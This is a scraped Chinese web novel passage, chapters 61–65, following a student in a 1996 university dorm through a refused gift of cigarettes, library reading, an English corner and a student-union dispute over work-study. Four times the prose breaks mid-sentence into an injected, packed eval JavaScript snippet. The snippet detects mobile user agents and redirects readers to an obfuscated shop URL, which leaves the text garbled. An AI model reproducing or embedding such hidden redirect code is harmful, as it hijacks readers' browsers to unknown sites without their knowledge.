韩德富点点头,翻开书,凑到灯下看了起来。 第61章 你觉得我抽不起烟? 在家吃了晚饭,韩学涛才慢悠悠坐公交车回学校。 推开寝室门,屋里就老谢一个人,坐在床边翻着一本《学生工作指南》。 “老谢,怎么又是你一个人?”韩学涛把包放下,“也不去看电影?” 宁海大学周末放露天电影是老传统了。大操场边上立两根杆子,挂块幕布,放映机一开,就能引来乌泱泱一片人。讲究点的搬个小马扎,随性的直接垫件衣服坐草地上,谈恋爱的专往后排钻。 这周放的是《秦颂》,姜文和葛优演的那部,讲高渐离刺秦的故事。海报贴出去好几天了,据说挺多人等着看。 老谢合上书,摆摆手:“那电影没啥意思,一群人挤一块儿出一身汗,回来还得洗澡,不值当。” 寝室没有洗澡的地方,要到学生浴室,人多的时候,好几个人挤一个水龙头,体验确实不好。韩学涛点点头,没再说话,走到自己桌前准备看书。 刚坐下,老谢起身把寝室门关上了。 他转身从自己床铺上拎出两条烟,走过来放在韩学涛桌上。 红塔山。 九六年,这烟算不错的了。一条二十来块,两条顶一个普通工人小半月的工资。 韩学涛看着那两条烟,没动。 “这是啥意思?” 老谢在旁边坐下,搓了搓手:“兄弟,学生会那事儿,我真心感谢你。上回说请你吃饭,你说周末要回家。我想着,怎么也得表示表示。” 韩学涛心里明白了。 难怪寝室就老谢一个人,这是专门等着自己呢。 他把烟推回去,看着老谢。 “老谢,我是缺两条烟的人么?” 老谢一愣。 “我自己不会买烟?还是你觉得我是特困生,抽不起?”韩学涛声音不高,语气也平,但每个字都让人感觉到压力。 老谢脸色变了,连忙摆手:“不是不是,兄弟你误会了,我没那个意思——” “我知道你没那个意思。”韩学涛打断他,“但你这事儿办得,就有那个意思。” 他往后靠了靠,看着老谢:“你越急着还人情,越显得没诚意。两条烟值多少钱?” 说到这,韩学涛拿出钱包,掏出两张五十,摆在桌上,“要不你卖给我得了。” “不是...学涛......”老谢连连摆手,说不出话。 韩学涛看着他,语气缓了缓:“老谢,我不知道你信不信因果。但我信。” “有些事情一旦开口,因果就种下了。你帮我,我帮你,这账算不清的,也不用算。关键在于你怎么看这个问题。” 他把烟往老谢那边推了推:“拿回去吧。我要的不是这个。” 老谢站在那里,手足无措,脸上一阵红一阵白。 韩学涛站起来,拍拍他肩膀,拿起桌上的书。 “我去图书馆了。” 门关上,脚步声渐渐远了。 老谢站在原地,看着那两条烟,半天没动。 韩学涛到了图书馆,熟门熟路上了四楼。 四楼是外文典籍区,书架一排排挤得满满当当,空气中弥漫着旧书特有的纸墨味。这里平时就没什么人来,周末晚上更是安静。 宁海大学的图书馆在全国高校里都排得上号,藏书两百多万册,很多是市面上买不到的。有些书连大城市的书店都没有,但图书馆里有。当然,等过些年互联网普及了,这些知识在网上都能查到。但在现在这个年代,这里就是一座宝藏。 尤其是外文书。 文学、哲学、经济、科技,各种原版都有,涉猎极广。韩学涛经常来,每次都有一种独自寻宝的感觉。 他在书架间走了一圈,抽出一本泛黄的平装书。 《SmallIsBeautiful》,1973年出版的,作者是英国经济学家舒马赫。刚才随手翻了一下,发现里面竟然提出了“去中心化”的概念,不仅吃了一惊——这年头就有这种想法,有点太超前了。 他用借书卡登记了,找个靠窗的位置坐下,开始读。 这一读就入了迷。 舒马赫的观点放在他重生之前看都不过时,对现代工业社会的批判、对“小规模”的推崇,处处透着一种超越时代的敏锐。韩学涛一边读一边做笔记,完全没注意到有人走近。 “韩学涛?” 一个声音在旁边响起。 他转头,看见一双白色球鞋,往上是牛仔裤,再往上是弯弯的眼睛。 405寝室的袁圆。 韩学涛点点头:“来上自习?” 袁圆把书包往旁边桌上一放:“学校今天放电影,你怎么不去?” “题材不喜欢。”韩学涛说,“一堆人挤在一起出一身汗,还得去洗澡。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428340|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>袁圆笑了:“我也不喜欢那个电影。” 她说着,在韩学涛旁边的位置坐了下来,从包里掏出课本。翻开之后,才像是想起什么,扭头问:“我坐这儿,你不介意吧?还是说你在等人?” “一个人,你坐吧。” 袁圆点点头,翻开书,过了一会儿又探过头来:“你在看什么书?” 韩学涛把书合上递给她。 袁圆接过来一看,愣住了——全是英文。 “你在看英文原版?” “我们专业最近来了个外教,讲课都是英文的。”韩学涛说,“锻炼一下阅读水平,免得上课跟不上。” 袁圆翻了翻,看到满篇的生词,头皮有点发麻。她把书还回去,说:“我英语也不太好,回头向你学习。” 此后两人没怎么说话,各看各的。 袁圆偷偷瞄了韩学涛好几眼,发现他一直低头看书,一点找自己搭话的意思都没有。她抿了抿嘴,也慢慢沉浸到自己的课本里去了。 时间一分一秒过去。 九点半,图书馆还有一个小时关门。袁圆合上书,活动了一下脖子,扭头看韩学涛。 他手里的书已经翻到后面,快看完了。 袁圆愣了一下。 这么快?这才多久?一本几百页的英文书,看完了? 他是跳着翻的吧? 她问:“我要走了,你要不要再看一会儿?” 韩学涛看了看最后几页,觉得没什么新东西了,今天收获很大,书中的一些观点对他很有启发,合上书说:“不看了,走吧,先把书还了。” 袁圆点点头,心想他应该就是随便翻翻,不然不可能看那么快。她还没见过谁读英文是这个速度的。 两个人收拾好东西,下楼还了书,走出图书馆。 外面人声鼎沸,看电影的同学正好散场回来,乌泱泱的人流往宿舍方向涌。韩学涛和袁圆走在人群里,有一搭没一搭地聊着。 走着走着,袁圆脚步忽然一顿。 “徐爽?” 韩学涛顺着她的目光看过去。 前面不远处,两个背影并肩走着。女的穿着件碎花外套,正是405寝室的徐爽。男的个子挺高,手里还拎着两个小马扎。 徐爽一只手拽着那男生的袖子,脑袋微微往那边偏,不知道在说什么。 那个男生,正是楚强。 第62章 寝室关了不会住外面? 韩学涛看了一乐。 楚强这小子,可以啊。 李靖、于鑫、小巴那边还没什么动静呢,他已经跟徐爽看上电影了。听小白转述许秋的话,徐爽在经管系挺受欢迎的,据说好几个男生都对徐爽有意思,她性格也开朗,能和男生玩到一块儿去。 他正要喊楚强,胳膊忽然被袁圆拽住了。 “别喊!”袁圆拉着他往路边树丛后面躲,“别让他们发现我们!” 韩学涛莫名其妙:“怕什么?是我们发现他们,该躲的是他们吧?” 袁圆不吭声,直直地盯着那两个人的背影,等他们走远了,才松了一口气。 “你不懂。”她说,“我怕被他们看到以后误会。” 韩学涛更无语了:“怕误会,也应该是咱们俩分开走啊。你拉着我躲起来,不是更让人误会?” 袁圆愣了一下,低头一看,自己还拽着韩学涛的袖子呢。 她脸腾地红了,连忙松开手。 此后她也不多说话了,低着头加快脚步,好像要跟韩学涛拉开距离。 韩学涛懒得琢磨这姑娘的心思,干脆也加快脚步,超过她,径直进了前面的生活超市。 袁圆站在原地愣了愣,犹豫了一下,没跟进去,自己慢慢往寝室方向走了。 韩学涛在超市买了瓶水,慢悠悠晃回寝室。 一推门,屋里热闹得很。 楚强已经回来了,被几个牲口围在中间。李靖、于鑫、小巴都在,连赵江也凑在旁边。 “说说说说,跟徐爽一起看电影怎么样?”于鑫一脸八卦。 楚强面无表情:“电影没劲。” 李靖说:“你真当自己去看电影的?” 赵江说:“我也去了,黑咕隆咚的,就幕布亮着,不看电影还能看啥?” 楚强说:“黑倒是没事,主要是露天,人还多。我想去校外录像厅,徐爽不愿意。” 于鑫啧啧说道:“强哥,录像厅你晚上十二点以后再去,那时候有好片子。” 赵江一愣:“十二点以后?寝室不都关门了?” 于鑫斜他一眼:“你咋那么死心眼儿呢?寝室关了不会住外面?” “住外面?”赵江挠头,“宾馆多贵啊。” 李靖在旁边接话:“那就开一个房间挤一挤呗。” 赵江这才反应过来,指着他们:“哦——原来你们打的这个主意!这么邪恶!” 他指了指小巴:“这儿还有孩子呢,你们说话注意点。” 小巴一脸无所谓:“没事没事,这一届我就不想了,我等学妹。” 李靖又看向周晓白:“小白,人家强哥都已经跟徐爽搞上了,你那边跟许秋啥情况啊?” 周晓白推了推眼镜:“他们系有个男生好像在追她,许秋挺犹豫的。” 楚强难得开口:“犹豫什么?选你还是选他?” 周晓白摇头:“我也不知道。” 楚强说:“关键是你自己想不想要。不想要就算了,想要就去抢过来,哪有那么多犹犹豫豫的。” 李靖在旁边竖起大拇指:“强哥霸气!” 于鑫看了一圈,忽然说:“哎,你们是不是把涛哥忘了?” 他扭头看向韩学涛:“涛哥,女伴舞加女主持,拿下没有呢?” 韩学涛正喝水,闻言放下瓶子,笑了笑:“大三之前,我不考虑这些。” 老谢看了于鑫一眼,笑着在旁边接话:“学涛说得对。兄弟们,玩儿归玩儿,别忘了课不能落下。大一的基础课要是挂科,大二很麻烦的。” 于鑫嘿嘿一笑。 赵江把韩学涛拽到一边:“涛哥,你明天去不去英语角?” 韩学涛点点头:“可以啊。” 赵江自从上次英语课被怀特点名之后,像是受了刺激,最近一直在苦练英语。 那天的自我介绍确实亮眼,但也给他惹了“麻烦”——怀特现在上课特别喜欢点他起来对话。每次老师那张脸转过来,赵江心就提到嗓子眼。 所以现在英语课,他一定要坐在韩学涛旁边。碰到听不懂的、不知道怎么接的,扭头看一眼,心里就有底。 但这样不是长久之计。万一哪天韩学涛请假,自己怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428341|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当众丢脸? 他是个要面子的人。 不像于鑫,脸皮厚得能当城墙使。也不像楚强、李靖,完全无所谓。 而且他发现韩学涛的英语好得离谱,自己跟他一比差距巨大。原先韩学涛问他数学、物理问题时,他还隐隐有点心理优越感。现在那点优越感荡然无存——在他看来,英语能学这么溜,比数学物理可难多了。 他从来没发现有谁的英语听力像韩学涛这么好。虽然课堂上韩学涛从不显摆,但赵江能感觉出来,怀特全程英语授课,韩学涛是完全能听懂的。他自己就差远了。 而韩学涛也对赵江印象不错,感觉他比较耿直,没有那么多弯弯绕,甚至于耿直得有点固执,换句话说就是头铁。 赵江练英语的方法也相当头铁。 不知道从哪儿看的,说是要大声朗读。他每天早上六点多爬起来,找个偏僻角落扯着嗓子喊。后来于鑫说了一句:“在偏僻地方喊有啥用?你得去人多的地方,练胆儿。” 赵江觉得有道理,于是改到食堂门口台阶上坐着,捧着英语书大声读。 一般人觉得羞耻的事,他完全不在意。现在俨然成了食堂门口的一道风景。 想想也是,这家伙高中毕业就能找到女朋友,而且异地还天天写信通电话,也算是头铁的一种表现。 两人约好明天一起去英语角,韩学涛拿起热水壶去水房打水。 回来推开门,看见老谢在发烟。 红塔山被他拆开了一条,寝室里一人分一包。 于鑫接过烟,笑嘻嘻的:“不愧是寝室长,大方啊!一条红塔山就这么散出来了。” 李靖点了一根,说:“真的,这烟比云烟劲大,就是太贵了。” 老谢把一包扔给韩学涛,对李靖说:“我也买不起,一个亲戚寄给我的。平时我一天也抽不了两根,大家一起抽呗。” 韩学涛笑着把烟装进口袋:“老谢这个寝室长当得大气,那兄弟们就不客气了。” 老谢哈哈一笑,说:“就是兄弟们一起抽烟,多大的事?” 第63章 英语角 第二天,周日。 韩学涛和赵江一起去英语角。 往外语系教学楼走。 远远看见那栋楼,赵江就忍不住开始感叹:“操,外语系这楼真比咱们地质系好他妈太多了!” 他指着楼外墙面:“你看人家这瓷砖,贴得多整齐!咱们地质系那楼,外墙皮都掉得一块一块的,跟长了牛皮癣似的。” 走到门口,他又指着大门:“还是玻璃的!咱们地质系那木头门,关都关不严,冬天漏风夏天漏雨。” 进到楼里,赵江嘴就没停过:“走廊这么亮堂,灯全亮着!咱们那边晚上走道,灯坏一半都没人管。还有这地面,**石的,擦得锃亮,咱们那边水泥地都开裂了。” 最让他受刺激的是迎面走来的学生。 十个里面,至少有七个是女生。 “这么多女生!咱们地质系一个班能有三个女生就烧高香了。”赵江有女朋友,但也觉得女生多的系比较好,起码平时上课感觉舒服。 韩学涛笑了笑,没接话。 外语系的教学楼确实比地质系强得多,这没什么好说的。 宁海大学的英语角设在这儿,主要面向的也是外语系的学生。据说对外语系来说,每年参加英语角的次数是算学分的,有硬性要求。其他系没这规定,但这年头英语热、出国热,很多外系爱学英语的学生也会跑来——毕竟这里是校内能跟外教面对面交流口语最好的地方。 两人找到举办英语角的多功能教室,推门进去,赵江眼睛都直了。 整个大教室被划分成好几个区域,每个区域都布置得像模像样—— 进门左手边,用硬纸板和塑料布搭了个快餐店的柜台,后面站着个外教,正用英语跟两个学生点餐。柜台上摆着假的汉堡、薯条,还挺像回事。 右边靠窗的位置,用几把椅子和一块蓝色的布景板围成了飞机舱。有人坐在“座位”上,一个留学生模样的男生正用英语说着什么,像是在做安全演示。 教室中间,有人用几张桌子拼了个咨询台,上面放着“Information”的牌子。几个中国学生围着一个外教,叽叽喳喳问着什么。 角落里还有个“咖啡馆”区域,几张圆桌配着几把椅子,桌上竟然摆着真正的咖啡机。 赵江看呆了,拉着韩学涛的袖子:“这……这也太高级了吧?” 韩学涛拍拍他肩膀:“去试试。” 赵江紧张了:“你跟我一起。” “你多练,不用怕。”韩学涛说,“目的不是一开始就要说得多溜,是把意思表达清楚,让对方明白就行。听不懂就多问几遍,手脚并用也行。老是我在旁边给你提示,你练不出来的。” 赵江深吸一口气,又拿出那股头铁的架势,点点头:“行,我自己来。反正这边没人认识我,丢脸就丢脸吧。” 说完,他直奔“飞机场”而去。 韩学涛看着他那副决绝的样子,忍不住笑了笑。 当年自己过语言关的时候,那份痛苦和狼狈,又何尝不是如此? 就凭赵江这个态度,要不了多久他也能练出来。 韩学涛转身走向“咖啡馆”。 这里的咖啡是真的,而且免费。 他拿了个纸杯,在咖啡机上打了一杯,找了个角落的位置坐下,慢慢喝着。 来英语角,陪赵江是一方面,另一方面他也想认识几个外教或者留学生,建立些联系。以后有什么事,能够多一条实现的路径。 人在社会上,不能总盯着眼前的一亩三分地,眼界一定要放广。 不过看了一圈,发现外教和留学生都被团团围着,根本挤不进去。就算挤进去,也说不了几句话。 不如坐这儿喝着咖啡,好整以暇地等等。 韩学涛端着咖啡杯,目光随意扫过英语角里的人群。 然后他看到了一个熟悉的身影。 快餐店区域,一个女生正坐在柜台前的高脚凳上,跟对面的男生聊得热火朝天。那女生穿着白色小外套,正是405寝室的许秋。 韩学涛心里有点感慨。 最近真是走到哪儿都能碰到405的人。帮李曼搬书架碰到周兰和胡荔荔,图书馆碰到袁圆,路上碰到徐爽和楚强,现在陪赵江来一次英语角,又碰到许秋。 这是要凑齐七颗龙珠的节奏? 他正想着,许秋一转头,目光正好落在他身上。 她愣了一下,然后跟对面的男生说了几句什么,起身朝这边走过来。 “韩学涛?”许秋在他旁边坐下,“你怎么也来了?你们寝室其他人呢?” 韩学涛指了指机场区:“就我和赵江来的。” 许秋顺着他的目光看过去,笑了笑:“我刚才就看见他了,练得特别投入,都没好意思叫他。”许秋收回目光,看向韩学涛,“你一个人在这儿喝咖啡?怎么不去找人说话?” 韩学涛晃了晃杯子:“人太多了,挤不进去。” 许秋笑了:“练英语嘛,就得脸皮厚。我第一次来这儿的时候,嘴都张不开。现在好多了。” 韩学涛问:“你们寝室就你一个来了?” 许秋点点头:“可能就我一个人有练英语的需求吧。” 韩学涛看了她一眼:“想出国?” 许秋顿了一下,微微点头:“想出去看看,开阔一下眼界。我读过一句话,说一个人一直待在原点和走过很长的路再回到起点是不同的。前者是一个点,后者是一个面。” 韩学涛说:“想活成一个面,挺好的。”< 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说的是英语,语速很快,一长串话连珠炮似的蹦出来。他握着韩学涛的手没松,眼睛盯着他,脸上带着笑,但那笑容里有点别的意思。 “……地质系应该对气候变化很关注吧?我最近在做一个关于全球变暖对沿海城市影响的研究,你们地质系的课程里会涉及这些吗?还是说你们主要关注岩石和矿物?我听说内地大学的地质系……” 语速越来越快,快到旁边的人已经开始侧目。 许秋站在旁边,先是错愕,然后反应过来——戴维这是冲着自己来的。 自己过来找韩学涛多说了几句话,这个港岛来的男生就坐不住了。他这是要给韩学涛一点难堪,用英语,用他听不懂的英语。 她努力听着戴维的话,想着待会儿怎么给韩学涛圆场。但戴维说得太快,她能听懂的不到三分之一。什么“全球变暖”,什么“沿海城市”……断断续续的,根本连不成句。 她开始有点急了。 就在这时,韩学涛开口了。 他也说英语。 许秋一下子就愣住了。 那英语从韩学涛嘴里出来,流畅得像水一样,一句接一句,几乎没有停顿。发音跟戴维不一样,不是她熟悉的那种课堂英语的腔调——那是外教式的发音,圆润,自然,每个音节都落在它该落的地方。 美式发音。 比戴维说得还快。 快到她根本听不懂。 她只能愣愣地看着韩学涛,看着他的嘴一张一合,看着那些她听不懂的句子从他嘴里流淌出来,看着戴维的脸色从自信到惊讶,从惊讶到……难以置信。 第64章 李曼到底什么意思? 晚上,老谢拿着个小本本,挨个收团费。 “一人五**,一个学期的。”他把本子往于鑫床上一放,“三金,你的。” 于鑫正在床上躺着,闻言翻了个身:“五**?又交钱?光交钱也不见咱们团员有什么福利,早知道当年我就不入团了!” 李靖在旁边接话:“三金哥,能不能有点**事业**人的觉悟。” 于鑫坐起来,一脸不屑:“**?想啥呢?以前说好的大学毕业包分配。现在效益不行,直接推向社会。我算是看明白了,但凡**事业不是干黄了,都传不到咱们手里。” 老谢把本子往他面前一推:“只要还有油水,烂摊子也传不到你手里,有的是人等着呢。赶紧的,把团费交了。旁边两个寝室我都收过了。” 于鑫斜眼看他:“老谢,你是校学生会的,又是咱们寝室长,这话从你嘴里说出来,怎么特别违和?不想进步了?” 老谢笑笑:“都是寝室的兄弟,有什么好藏着掖着的。” 赵江在旁边叹了口气:“感觉最近社会的氛围特别不好。以前好多坚持的东西,一下子就没了。个个都想着赚钱、想着出国,一切向钱看。治安也差得要命。我有个老乡在卫校那边,说社会上那些小混混,直接进他们学校欺负女生。学校保安都不敢管!” 于鑫拍着腿说:“你以为那些混混,保安不认识?说不定都是他们勾结好的!” 李靖皱眉:“不能吧?大学保安跟**混勾结,有啥好处?” 楚强面无表情开口:“别小看这些混混。有钱。就算小混混没钱,他们背后的大混混也有钱。保安一年才挣多少?” 老谢摆摆手:“哥几个回头再聊。一人五**,别难为我。” 收了团费,老谢把韩学涛叫出寝室。 走廊里没什么人,老谢压低声音:“学涛,你那个勤工俭学,在校学生会那边没通过。” 韩学涛微微意外:“为什么?” 老谢说:“说是学校有规定,特困生不能同时享受勤工俭学。李曼那边挺纠结的,去找了生活部的部长。规定是有那么一个,但以前也不是没有特例。不过这次好像上面没批。” 韩学涛点点头,表示知道了。 “你回头碰到李曼,跟她说一声,用不着专门去申请了。”他说,“一个勤工俭学,无所谓的。” 老谢看了他一眼,点点头。 韩学涛本来以为勤工俭学这事就这么过去了。 批不批的他真无所谓。勤工俭学能赚几个钱?一个月几十块顶天了。他要的不过是个由头,好给父母一个说法。这个由头没了,再找别的就是。 没想到这事有点没完没了。 第二天下午,徐爽打电话到203找楚强。两人在电话里说了一阵,楚强忽然扭头看向正准备出门的韩学涛。 “孙婷婷想找你说话。” 韩学涛愣了一下,走过去接过话筒。 那边孙婷婷的声音传过来:“韩学涛?你那个勤工俭学的事情,知道了不?” “知道了。” 孙婷婷说:“你们寝室老谢说你无所谓,但我还是得跟你说一声。” 韩学涛问:“你要说什么?” 孙婷婷说:“你这事现在在学生会闹得挺大的,影响很不好。你跟李曼不都是高中一个班的吗?就不能提前沟通一下?” 韩学涛皱起眉头:“到底什么事?不是说特困生不能同时享受勤工俭学吗?批不了就算了呗。” 孙婷婷说:“你说得倒轻巧。又不是只有你?这次申请勤工俭学的特困生,一共六个。按照规矩,各系的学生会干部批自己系里的申请。你们地质系没人进学生会,申请就统一归到生活部管。” 她语气有些微妙地说:“李曼没事找事,偏偏拿着你的申请要走特殊流程。这一下,其他人的申请全都不敢批了。有些批得早的,一下子被架在中间,进退两难。” “还好我和展雪反应慢,还没来得及给我们经贸系的人批。不然这下子我们俩也变成徇私舞弊了,说不定还得被怀疑从勤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428343|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工俭学里捞好处。” 韩学涛也没想到,一个破勤工俭学,里面还有这么多弯弯绕。 听到孙婷婷的话,他脑子里浮现出李曼的样子。 春梅宾馆那回,周承他们用烟头烫坏了宾馆的桌子,李曼冲上去指责他们,那样子正义凛然。周承拿烟灰缸砸她,她虽然害怕,也没往后退一步。 这丫头,是能干出这种事的人。 本来是大家约定俗成的潜规则,她非要走正规流程。这一下把事情摊到明面上,肯定得罪了不少人。 老谢是他介绍进学生会的,被李曼招进去,算是她的下属,不好当面说她的坏话。而刚才专门把自己拉出去说这事,估计也有让他去劝劝李曼的意思。 “韩学涛,你听见没有?”孙婷婷的声音从电话那头传来,“你是真无所谓,还是跟我装傻?现在其他系的部长副部长都让我去问问李曼到底什么意思。我想了想,还是问问你吧——毕竟是联谊寝室。” 韩学涛说:“问我什么?” 孙婷婷说:“你和李曼是高中一个班的同学,这么搞是什么意思?” 韩学涛说:“特困生不能同时享受勤工俭学,这是你们学生会自己定的规定。李曼一个新生,刚加入学生会,按规定办事,有什么问题?如果那些部长觉得下不来台,你们学生会把这个规定废了不就完了?” 他顿了顿:“勤工俭学没批下来,我都没说什么。你们学生会倒问到我头上来了?” 电话那头静了两秒。 孙婷婷像是被噎住了,半天才憋出一句:“韩学涛,你真行。” “啪。” 电话挂了。 韩学涛拿着话筒站了两秒,想了想,又拨了一个号码。 响了几声,那边接起来,是个女生的声音:“喂?” “我找李曼。” “李曼不在,你是哪位?” “韩学涛。等她回来,麻烦转告一声,我打过电话。” “好。” 挂了电话,韩学涛把话筒放回去,转身出了门。 第65章 排挤你的人,就是在怕你 两天后,晚上八点半,韩学涛正准备去自习室,寝室电话响了。 是李曼。 “我在生活超市门口等你。” 十分钟后,韩学涛在超市门口见到她。 李曼穿着一件浅色的外套,站在路灯下,低着头,眉眼间带着点低落。看见他过来,挺直腰笑了一下。 “吃不吃冰淇淋?我请你。”韩学涛说。 李曼摇摇头:“这几天不能吃。” 韩学涛点点头,没多问:“那走吧,找地方坐坐。” 生活超市这边是学生**地,这个点人还不少。两人绕过人群,又去了上次那个篮球场。 八点多,天已经黑透了。篮球场上没人打球,但周围的水泥台阶上坐着不少人——大部分是情侣,压着声音说话,偶尔传来一两声笑。 韩学涛和李曼走到上次那个位置,坐下。他从书包里拿出一本书,递给李曼:“垫着。” 李曼接过来,垫在台阶上,沉默了一会儿。 然后她低下头,捂着脸,声音闷闷的:“对不起。” 韩学涛看着她:“我听老谢说了只言片语。到底怎么回事?” 李曼把手放下来,看着远处,慢慢开口: “学生会以前有个规定,特困生不能同时申请勤工俭学。本意是好的,想让学校的政策惠及更多同学。但特困生也有勤工俭学的需求啊,把他们完全排除在外,不合理。所以这些年就形成了一个……潜规则。规定归规定,实际操作的时候,特困生也可以申请,只要别太张扬,没人会卡。反正就是个形式,大家都睁一只眼闭一只眼。” 韩学涛没说话,听着。 李曼继续说:“我看到你的申请,就觉得……本来就不合理的事,还要按潜规则处理,就更不合理了。不如走正规流程,把事情摆到明面上,谁也说不出什么。” 她苦笑了一下:“结果就捅娄子了。” 韩学涛听完,忍不住笑了一下。 他猜得没错。 所谓潜规则,就是在暗地里运行的那一套。李曼这么干,相当于在房间里把灯点亮了。光亮出来,暗地里那些事就运行不起来了。 “那你打算怎么办?”他问。 李曼抬起头,看向他:“我去找了图书馆的冯老师。” 韩学涛:“嗯?” “图书馆有政策,可以自己指定勤工俭学的学生,不用走学生会那边。”李曼说,“冯老师愿意接受。我已经跟他推荐了你,他也同意了。” 她接着说:“工作就是帮着整理图书,同学借书还书的时候登记一下。平时书架乱了要理一理,偶尔打扫卫生。每周去三天,每个月九十六块钱。” 韩学涛听着,心里动了动。 他刚才问的是,李曼打算怎么处理学生会那摊事。结果她说的,是帮他找好了新的勤工俭学。 图书馆的勤工俭学,是所有岗位里最好的。干净,轻松,不累,还不影响学习。平时登记一下,理理书,打扫打扫卫生,其余时间完全可以自己看书。 而且作为图书管理员,看书还有优先权。有些热门书别人借不到,管理员可以先看。 隔了两天才打电话,她应该就是去跑这事了。 “那......谢谢了。” 李曼摇摇头:“别谢了。你的事搞成这样,我都快没脸见你了。” 韩学涛又问:“你学生会那边打算怎么办?” 李曼沉默了一下,低声说:“我在想要不要辞职。” 韩学涛看着她,路灯的光从远处照过来,在她脸上投下淡淡的影子。 “为什么要辞?” 李曼抬头看他。 韩学涛说:“那些人排挤你,是在怕你。” 李曼一愣。 “你点了一盏灯,把那些见不得人的东西照出来了。他们不舒服,不是因为你做错了,是因为他们习惯了黑。你要是这时候辞了,就等于告诉他们——只要抱团,就能把一个按规矩办事的人赶走。以后他们更不会把规矩当回事。” 李曼看着他,“可他们都说我……” “说什么不重要。”韩学涛接着道,“重要的是你自己知道自己在做什么。你觉得这件事该不该办?” 李曼想了想,点头:“该。” “那就办了。”韩学涛说,“办完了,有什么后果,担着就是。你现在辞职,前面的事白干了不说,以后想起来,自己这关都过不去。” 李曼沉默了。 过了好一会儿,她深吸一口气,点了点头。 “我知道了。” ...... 图书馆的冯老师三十来岁,戴着一副细框眼镜,说话声音温和,看起来就是那种很知性的女性。 韩学涛去报到那天,冯老师看见他,愣了一下,然后笑了:“是你呀。我说名字怎么这么熟。” 她把登记表往旁边一放,上下打量了他一眼:“这届新生里,你在四楼借书卡上留下的名字是最多的。” 韩学涛笑着点点头:“谢谢冯老师。” 冯老师说:“就是因为看你名字熟悉,经常去四楼借外文书,我才同意你过来的。”她顿了顿,“问你个事,你现在英语到什么水平?” 韩学涛想了想:“老师,这我不好自己说。要不您考考我?” 冯老师推了推眼镜,站起来:“那你跟我来。” 她领着韩学涛进了办公室,从柜子里抽出一份资料递给他:“看看这个,能看懂吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428344|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?能翻译出来吗?” 韩学涛低头一看,是一份外文资料,挺厚,全是专业术语。他翻了翻,水利工程方面的,讲的是某大坝的施工技术参数。 他花了大概两分钟快速浏览了一遍,抬起头:“可以。有些专业名词需要查字典。” 冯老师有些惊讶:“这么快?你说说,这篇文章主要讲什么?” 韩学涛把主要内容说了一遍,核心观点、技术要点、几个关键数据,都点到了。 冯老师听完,点了点头:“没看错你,英文真不错。到地质系,可惜了。” 她又问:“听力怎么样?” 韩学涛谦虚了一下:“马马虎虎。” 冯老师转身从柜子里拿出一台录音机,放进去一盘磁带,按下播放键:“你听听这个,看能听懂多少。” 录音机里传出一个男人的声音,英语,带点口音,讲的是——微积分。 韩学涛一听,眼睛瞪大了。 **,好东西! 那教授讲的是泰勒公式的本质与逼近思想。 不讲繁琐的余项估计,不讲死记硬背的公式,而是直接从“如何用简单函数逼近复杂函数”这个最朴素的问题切入——为什么多项式这么好用?为什么要在某一点展开?那些阶乘和导数到底代表了什么? 韩学涛听得入了迷。 他最近正为高数头疼。课堂上老师讲的那些,他听得半懂不懂,回寝室问老谢和小巴,能问明白,但总觉得隔着一层。 这个教授讲的,完全是从最直观的“近似”角度切入,一下子把他脑子里那团关于泰勒公式的迷雾吹散了。 冯老师站在旁边,看着他的表情,有点奇怪。 这小子听高等数学,怎么跟听说书听相声似的?一脸的兴致勃勃,眼睛都放光。 她忍不住问:“你听懂了?” 韩学涛点点头,眼睛还盯着录音机:“冯老师,这是哪个教授?讲得太好了!” 冯老师更奇怪了:“你真能听懂?他讲的什么?” 韩学涛说:“他讲的是泰勒公式的本质。我们高数课也学过这个概念,但我一直没搞明白那些阶乘是干什么用的。听他一讲——原来泰勒公式就是用多项式去逼近一个复杂函数,在某个点附近,一阶近似就是切线,二阶近似把弯曲考虑进去,后面的项就是在不断修正。把几个概念串起来,一下子就通了。” 他有点感慨:“我怎么没想到可以这么理解?” 冯老师看着他,沉默了两秒,然后笑了。 